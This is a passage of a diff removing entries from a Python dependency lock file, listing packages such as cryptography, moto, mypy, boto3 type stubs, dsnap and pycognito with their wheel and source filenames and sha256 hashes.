"sha256:8e56e16617872b0957d1c9742a3f94b43533447fd78321514abbe7db216aa250"}, - {file = "cryptography-3.4.7-cp36-abi3-manylinux2010_x86_64.whl", hash = "sha256:37340614f8a5d2fb9aeea67fd159bfe4f5f4ed535b1090ce8ec428b2f15a11f2"}, - {file = "cryptography-3.4.7-cp36-abi3-manylinux2014_aarch64.whl", hash = "sha256:240f5c21aef0b73f40bb9f78d2caff73186700bf1bc6b94285699aff98cc16c6"}, - {file = "cryptography-3.4.7-cp36-abi3-manylinux2014_x86_64.whl", hash = "sha256:1e056c28420c072c5e3cb36e2b23ee55e260cb04eee08f702e0edfec3fb51959"}, - {file = "cryptography-3.4.7-cp36-abi3-win32.whl", hash = "sha256:0f1212a66329c80d68aeeb39b8a16d54ef57071bf22ff4e521657b27372e327d"}, - {file = "cryptography-3.4.7-cp36-abi3-win_amd64.whl", hash = "sha256:de4e5f7f68220d92b7637fc99847475b59154b7a1b3868fb7385337af54ac9ca"}, - {file = "cryptography-3.4.7-pp36-pypy36_pp73-manylinux2010_x86_64.whl", hash = "sha256:26965837447f9c82f1855e0bc8bc4fb910240b6e0d16a664bb722df3b5b06873"}, - {file = "cryptography-3.4.7-pp36-pypy36_pp73-manylinux2014_x86_64.whl", hash = "sha256:eb8cc2afe8b05acbd84a43905832ec78e7b3873fb124ca190f574dca7389a87d"}, - {file = "cryptography-3.4.7-pp37-pypy37_pp73-macosx_10_10_x86_64.whl", hash = "sha256:b01fd6f2737816cb1e08ed4807ae194404790eac7ad030b34f2ce72b332f5586"}, - {file = "cryptography-3.4.7-pp37-pypy37_pp73-manylinux2010_x86_64.whl", hash = "sha256:7ec5d3b029f5fa2b179325908b9cd93db28ab7b85bb6c1db56b10e0b54235177"}, - {file = "cryptography-3.4.7-pp37-pypy37_pp73-manylinux2014_x86_64.whl", hash = "sha256:ee77aa129f481be46f8d92a1a7db57269a2f23052d5f2433b4621bb457081cc9"}, - {file = "cryptography-3.4.7-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:bf40af59ca2465b24e54f671b2de2c59257ddc4f7e5706dbd6930e26823668d3"}, - {file = "cryptography-3.4.7.tar.gz", hash = "sha256:3d10de8116d25649631977cb37da6cbdd2d6fa0e0281d014a5b7d337255ca713"}, -] -docutils = [ - {file = "docutils-0.15.2-py2-none-any.whl", hash = "sha256:9e4d7ecfc600058e07ba661411a2b7de2fd0fafa17d1a7f7361cd47b1175c827"}, - {file = "docutils-0.15.2-py3-none-any.whl", hash = "sha256:6c4f696463b79f1fb8ba0c594b63840ebd41f059e92b31957c46b74a4599b6d0"}, - {file = "docutils-0.15.2.tar.gz", hash = "sha256:a2aeea129088da402665e92e0b25b04b073c04b2dce4ab65caaa38b7ce2e1a99"}, -] -dsnap = [ - {file = "dsnap-1.0.0-py3-none-any.whl", hash = "sha256:9009a98a70770259d18cae88d806a5baf7cd80ecf2ee148888831f0ba28b8f24"}, - {file = "dsnap-1.0.0.tar.gz", hash = "sha256:fc11265438fb5a0af79f02f276468e75b0b36f49d545c85454831c2e5698e035"}, -] -ecdsa = [ - {file = "ecdsa-0.18.0-py2.py3-none-any.whl", hash = "sha256:80600258e7ed2f16b9aa1d7c295bd70194109ad5a30fdee0eaeefef1d4c559dd"}, - {file = "ecdsa-0.18.0.tar.gz", hash = "sha256:190348041559e21b22a1d65cee485282ca11a6f81d503fddb84d5017e9ed1e49"}, -] -envs = [ - {file = "envs-1.4-py3-none-any.whl", hash = "sha256:4a1fcf85e4d4443e77c348ff7cdd3bfc4c0178b181d447057de342e4172e5ed1"}, - {file = "envs-1.4.tar.gz", hash = "sha256:9d8435c6985d1cdd68299e04c58e2bdb8ae6cf66b2596a8079e6f9a93f2a0398"}, -] -flake8 = [ - {file = "flake8-3.9.2-py2.py3-none-any.whl", hash = "sha256:bf8fd333346d844f616e8d47905ef3a3384edae6b4e9beb0c5101e25e3110907"}, - {file = "flake8-3.9.2.tar.gz", hash = "sha256:07528381786f2a6237b061f6e96610a4167b226cb926e2aa2b6b1d78057c576b"}, -] -freezegun = [ - {file = "freezegun-1.1.0-py2.py3-none-any.whl", hash = "sha256:2ae695f7eb96c62529f03a038461afe3c692db3465e215355e1bb4b0ab408712"}, - {file = "freezegun-1.1.0.tar.gz", hash = "sha256:177f9dd59861d871e27a484c3332f35a6e3f5d14626f2bf91be37891f18927f3"}, -] -idna = [ - {file = "idna-3.2-py3-none-any.whl", hash = "sha256:14475042e284991034cb48e06f6851428fb14c4dc953acd9be9a5e95c7b6dd7a"}, - {file = "idna-3.2.tar.gz", hash = "sha256:467fbad99067910785144ce333826c71fb0e63a425657295239737f7ecd125f3"}, -] -importlib-metadata = [ - {file = "importlib_metadata-4.6.3-py3-none-any.whl", hash = "sha256:51c6635429c77cf1ae634c997ff9e53ca3438b495f10a55ba28594dd69764a8b"}, - {file = "importlib_metadata-4.6.3.tar.gz", hash = "sha256:0645585859e9a6689c523927a5032f2ba5919f1f7d0e84bd4533312320de1ff9"}, -] -iniconfig = [ - {file = "iniconfig-1.1.1-py2.py3-none-any.whl", hash = "sha256:011e24c64b7f47f6ebd835bb12a743f2fbe9a26d4cecaa7f53bc4f35ee9da8b3"}, - {file = "iniconfig-1.1.1.tar.gz", hash = "sha256:bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32"}, -] -inquirer = [ - {file = "inquirer-2.7.0-py2.py3-none-any.whl", hash = "sha256:d15e15de1ad5696f1967e7a23d8e2fce69d2e41a70b008948d676881ed94c3a5"}, - {file = "inquirer-2.7.0.tar.gz", hash = "sha256:e819188de0ca7985a99c282176c6f50fb08b0d33867fd1965d3f3e97d6c8f83f"}, -] -jinja2 = [ - {file = "Jinja2-3.0.1-py3-none-any.whl", hash = "sha256:1f06f2da51e7b56b8f238affdd6b4e2c61e39598a378cc49345bc1bd42a978a4"}, - {file = "Jinja2-3.0.1.tar.gz", hash = "sha256:703f484b47a6af502e743c9122595cc812b0271f661722403114f71a79d0f5a4"}, -] -jinxed = [ - {file = "jinxed-1.1.0-py2.py3-none-any.whl", hash = "sha256:6a61ccf963c16aa885304f27e6e5693783676897cea0c7f223270c8b8e78baf8"}, - {file = "jinxed-1.1.0.tar.gz", hash = "sha256:d8f1731f134e9e6b04d95095845ae6c10eb15cb223a5f0cabdea87d4a279c305"}, -] -jmespath = [ - {file = "jmespath-0.10.0-py2.py3-none-any.whl", hash = "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f"}, - {file = "jmespath-0.10.0.tar.gz", hash = "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9"}, -] -markupsafe = [ - {file = "MarkupSafe-2.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:36bc903cbb393720fad60fc28c10de6acf10dc6cc883f3e24ee4012371399a38"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:4dc8f9fb58f7364b63fd9f85013b780ef83c11857ae79f2feda41e270468dd9b"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:20dca64a3ef2d6e4d5d615a3fd418ad3bde77a47ec8a23d984a12b5b4c74491a"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:cdfba22ea2f0029c9261a4bd07e830a8da012291fbe44dc794e488b6c9bb353a"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-win32.whl", hash = "sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:f9081981fe268bd86831e5c75f7de206ef275defcb82bc70740ae6dc507aee51"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux2010_i686.whl", hash = "sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:fa130dd50c57d53368c9d59395cb5526eda596d3ffe36666cd81a44d56e48872"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:baa1a4e8f868845af802979fcdbf0bb11f94f1cb7ced4c4b8a351bb60d108145"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:deb993cacb280823246a026e3b2d81c493c53de6acfd5e6bfe31ab3402bb37dd"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:63f3268ba69ace99cab4e3e3b5840b03340efed0948ab8f78d2fd87ee5442a4f"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:8d206346619592c6200148b01a2142798c989edcb9c896f9ac9722a99d4e77e6"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-win32.whl", hash = "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-win_amd64.whl", hash = "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux2010_i686.whl", hash = "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e9936f0b261d4df76ad22f8fee3ae83b60d7c3e871292cd42f40b81b70afae85"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d6c7ebd4e944c85e2c3421e612a7057a2f48d478d79e61800d81468a8d842207"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f0567c4dc99f264f49fe27da5f735f414c4e7e7dd850cfd8e69f0862d7c74ea9"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:89c687013cb1cd489a0f0ac24febe8c7a666e6e221b783e53ac50ebf68e45d86"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-win32.whl", hash = "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux1_i686.whl", hash = "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux2010_i686.whl", hash = "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:aca6377c0cb8a8253e493c6b451565ac77e98c2951c45f913e0b52facdcff83f"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:04635854b943835a6ea959e948d19dcd311762c5c0c6e1f0e16ee57022669194"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6300b8454aa6930a24b9618fbb54b5a68135092bc666f7b06901f897fa5c2fee"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-win32.whl", hash = "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux1_i686.whl", hash = "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux2010_i686.whl", hash = "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:4296f2b1ce8c86a6aea78613c34bb1a672ea0e3de9c6ba08a960efe0b0a09047"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f02365d4e99430a12647f09b6cc8bab61a6564363f313126f775eb4f6ef798e"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5b6d930f030f8ed98e3e6c98ffa0652bdb82601e7a016ec2ab5d7ff23baa78d1"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-win32.whl", hash = "sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8"}, - {file = "MarkupSafe-2.0.1.tar.gz", hash = "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a"}, -] -mccabe = [ - {file = "mccabe-0.6.1-py2.py3-none-any.whl", hash = "sha256:ab8a6258860da4b6677da4bd2fe5dc2c659cff31b3ee4f7f5d64e79735b80d42"}, - {file = "mccabe-0.6.1.tar.gz", hash = "sha256:dd8d182285a0fe56bace7f45b5e7d1a6ebcbf524e8f3bd87eb0f125271b8831f"}, -] -more-itertools = [ - {file = "more-itertools-8.8.0.tar.gz", hash = "sha256:83f0308e05477c68f56ea3a888172c78ed5d5b3c282addb67508e7ba6c8f813a"}, - {file = "more_itertools-8.8.0-py3-none-any.whl", hash = "sha256:2cf89ec599962f2ddc4d568a05defc40e0a587fbc10d5989713638864c36be4d"}, -] -moto = [ - {file = "moto-2.2.1-py2.py3-none-any.whl", hash = "sha256:ab9f7114bf5b60e9d3ae518c0694bf53e111a5c0c195b19e89707c97ab71b53c"}, - {file = "moto-2.2.1.tar.gz", hash = "sha256:4ea538fe090b964c22bb98a6f87d3c589eaf754893d297d58b74dedb94d4448c"}, -] -mypy = [ - {file = "mypy-0.812-cp35-cp35m-macosx_10_9_x86_64.whl", hash = "sha256:a26f8ec704e5a7423c8824d425086705e381b4f1dfdef6e3a1edab7ba174ec49"}, - {file = "mypy-0.812-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:28fb5479c494b1bab244620685e2eb3c3f988d71fd5d64cc753195e8ed53df7c"}, - {file = "mypy-0.812-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:9743c91088d396c1a5a3c9978354b61b0382b4e3c440ce83cf77994a43e8c521"}, - {file = "mypy-0.812-cp35-cp35m-win_amd64.whl", hash = "sha256:d7da2e1d5f558c37d6e8c1246f1aec1e7349e4913d8fb3cb289a35de573fe2eb"}, - {file = "mypy-0.812-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:4eec37370483331d13514c3f55f446fc5248d6373e7029a29ecb7b7494851e7a"}, - {file = "mypy-0.812-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:d65cc1df038ef55a99e617431f0553cd77763869eebdf9042403e16089fe746c"}, - {file = "mypy-0.812-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:61a3d5b97955422964be6b3baf05ff2ce7f26f52c85dd88db11d5e03e146a3a6"}, - {file = "mypy-0.812-cp36-cp36m-win_amd64.whl", hash = "sha256:25adde9b862f8f9aac9d2d11971f226bd4c8fbaa89fb76bdadb267ef22d10064"}, - {file = "mypy-0.812-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:552a815579aa1e995f39fd05dde6cd378e191b063f031f2acfe73ce9fb7f9e56"}, - {file = "mypy-0.812-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:499c798053cdebcaa916eef8cd733e5584b5909f789de856b482cd7d069bdad8"}, - {file = "mypy-0.812-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:5873888fff1c7cf5b71efbe80e0e73153fe9212fafdf8e44adfe4c20ec9f82d7"}, - {file = "mypy-0.812-cp37-cp37m-win_amd64.whl", hash = "sha256:9f94aac67a2045ec719ffe6111df543bac7874cee01f41928f6969756e030564"}, - {file = "mypy-0.812-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d23e0ea196702d918b60c8288561e722bf437d82cb7ef2edcd98cfa38905d506"}, - {file = "mypy-0.812-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:674e822aa665b9fd75130c6c5f5ed9564a38c6cea6a6432ce47eafb68ee578c5"}, - {file = "mypy-0.812-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:abf7e0c3cf117c44d9285cc6128856106183938c68fd4944763003decdcfeb66"}, - {file = "mypy-0.812-cp38-cp38-win_amd64.whl", hash = "sha256:0d0a87c0e7e3a9becdfbe936c981d32e5ee0ccda3e0f07e1ef2c3d1a817cf73e"}, - {file = "mypy-0.812-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7ce3175801d0ae5fdfa79b4f0cfed08807af4d075b402b7e294e6aa72af9aa2a"}, - {file = "mypy-0.812-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:b09669bcda124e83708f34a94606e01b614fa71931d356c1f1a5297ba11f110a"}, - {file = "mypy-0.812-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:33f159443db0829d16f0a8d83d94df3109bb6dd801975fe86bacb9bf71628e97"}, - {file = "mypy-0.812-cp39-cp39-win_amd64.whl", hash = "sha256:3f2aca7f68580dc2508289c729bd49ee929a436208d2b2b6aab15745a70a57df"}, - {file = "mypy-0.812-py3-none-any.whl", hash = "sha256:2f9b3407c58347a452fc0736861593e105139b905cca7d097e413453a1d650b4"}, - {file = "mypy-0.812.tar.gz", hash = "sha256:cd07039aa5df222037005b08fbbfd69b3ab0b0bd7a07d7906de75ae52c4e3119"}, -] -mypy-boto3-iam = [ - {file = "mypy-boto3-iam-1.18.13.tar.gz", hash = "sha256:1aa839ff6bf0ca644cf6efcb72a50ea53280b47fa0e9d9fb7c2139f0768dcfa5"}, - {file = "mypy_boto3_iam-1.18.13-py3-none-any.whl", hash = "sha256:3772d100fae782bd83216e82d31d3be873cc08c5476da04a70e1100c03ff1d12"}, -] -mypy-boto3-lambda = [ - {file = "mypy-boto3-lambda-1.18.13.tar.gz", hash = "sha256:a360fd716be53347d5666c2845ac8595b821750ad4d1f94cbae6533b871cdcce"}, - {file = "mypy_boto3_lambda-1.18.13-py3-none-any.whl", hash = "sha256:6d32d9355f6db4c02a3328ecfa6f3a6d01a7a40bd5ad6d533b6d15c09bd391ce"}, -] -mypy-boto3-s3 = [ - {file = "mypy-boto3-s3-1.18.13.tar.gz", hash = "sha256:9c31f2cf9cfad8fff83b13a5b0fccb3dcd1126c3857e276d655a4e19378c12ce"}, - {file = "mypy_boto3_s3-1.18.13-py3-none-any.whl", hash = "sha256:79247582bc73b053db90513e70f03b8b8db58ec1995ef25166bc037e8e7b15ad"}, -] -mypy-extensions = [ - {file = "mypy_extensions-0.4.3-py2.py3-none-any.whl", hash = "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d"}, - {file = "mypy_extensions-0.4.3.tar.gz", hash = "sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"}, -] -packaging = [ - {file = "packaging-21.0-py3-none-any.whl", hash = "sha256:c86254f9220d55e31cc94d69bade760f0847da8000def4dfe1c6b872fd14ff14"}, - {file = "packaging-21.0.tar.gz", hash = "sha256:7dc96269f53a4ccec5c0670940a4281106dd0bb343f47b7471f779df49c2fbe7"}, -] -pip = [ - {file = "pip-21.2.4-py3-none-any.whl", hash = "sha256:fa9ebb85d3fd607617c0c44aca302b1b45d87f9c2a1649b46c26167ca4296323"}, - {file = "pip-21.2.4.tar.gz", hash = "sha256:0eb8a1516c3d138ae8689c0c1a60fde7143310832f9dc77e11d8a4bc62de193b"}, -] -pluggy = [ - {file = "pluggy-0.13.1-py2.py3-none-any.whl", hash = "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d"}, - {file = "pluggy-0.13.1.tar.gz", hash = "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0"}, -] -policyuniverse = [ - {file = "policyuniverse-1.5.0.20220613-py2.py3-none-any.whl", hash = "sha256:be5d9148bf6cc2586b02aa85242e9c9cdc94e4469f9b393114950cae299eeb5d"}, - {file = "policyuniverse-1.5.0.20220613.tar.gz", hash = "sha256:c66b1fb907750643a1987eb419b2112ae3f9c527c013429525f9fab989c9a2d7"}, -] -py = [ - {file = "py-1.10.0-py2.py3-none-any.whl", hash = "sha256:3b80836aa6d1feeaa108e046da6423ab8f6ceda6468545ae8d02d9d58d18818a"}, - {file = "py-1.10.0.tar.gz", hash = "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3"}, -] -pyasn1 = [ - {file = "pyasn1-0.4.8-py2.py3-none-any.whl", hash = "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d"}, - {file = "pyasn1-0.4.8.tar.gz", hash = "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba"}, -] -pycodestyle = [ - {file = "pycodestyle-2.7.0-py2.py3-none-any.whl", hash = "sha256:514f76d918fcc0b55c6680472f0a37970994e07bbb80725808c17089be302068"}, - {file = "pycodestyle-2.7.0.tar.gz", hash = "sha256:c389c1d06bf7904078ca03399a4816f974a1d590090fecea0c63ec26ebaf1cef"}, -] -pycognito = [ - {file = "pycognito-2023.5.0-py3-none-any.whl", hash = "sha256:0a73c2bdc966465df3a61cba445f58beee9734638be7b10681792725651168eb"}, - {file = "pycognito-2023.5.0.tar.gz", hash = "sha256:3843cfff56969f7c4b0b2fd499877941d0bf33e39c4541dc896c2b83bef5db24"}, -] -pycparser = [ - {file = "pycparser-2.20-py2.py3-none-any.whl", hash = "sha256:7582ad22678f0fcd81102833f60ef8d0e57288b6b5fb00323d101be910e35705"}, - {file = "pycparser-2.20.tar.gz", hash = "sha256:2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0"}, -] -pyflakes = [ - {file = "pyflakes-2.3.1-py2.py3-none-any.whl", hash = 